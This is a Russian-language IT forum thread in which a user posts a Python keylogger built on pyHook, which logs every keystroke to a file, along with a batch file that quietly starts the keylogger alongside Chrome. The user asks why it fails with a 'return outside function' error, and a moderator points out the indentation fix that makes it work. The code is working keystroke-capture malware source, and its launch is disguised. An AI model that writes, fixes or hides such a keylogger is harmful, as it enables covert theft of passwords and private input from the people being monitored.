Выдает 'return' outside functuon . Не знаю что делать, помогите

Gvygyt

Новичок
Пользователь
Дек 31, 2020
13
0
1
Python:
import pyHook, pythoncom, sys, logging



file_log = 'C:\\keyloggerlog.txt'



def OnKeyboardEvent(event):

    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='% (message)s')

    chr(event.Ascii)

    logging.log(10,chr(event.Ascii))

return True



hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = OnKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()
делал кейллогер но не работает((
также сделал батник logger.bat
его содержание
@Echo off

start "" "E:\keylogger.pyw"

start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"


делал по этой статье https://lolz.guru/threads/372789/
 
Последнее редактирование:

regnor

Модератор
Команда форума
Модератор
Июл 7, 2020
2 677
479
83
return находиться вне функции... должен быть отступ у return как у строк выше... отступ в питоне - это часть синтаксиса...
в ошибке это и написано собственно...
в вашей статье вообще отступов нет...
 
  • Мне нравится
Реакции: Gvygyt

Gvygyt

Новичок
Пользователь
Дек 31, 2020
13
0
1
return находиться вне функции... должен быть отступ у return как у строк выше... отступ в питоне - это часть синтаксиса...
в ошибке это и написано собственно...
в вашей статье вообще отступов нет...
спасибо, выручили))
 

Форум IT Специалистов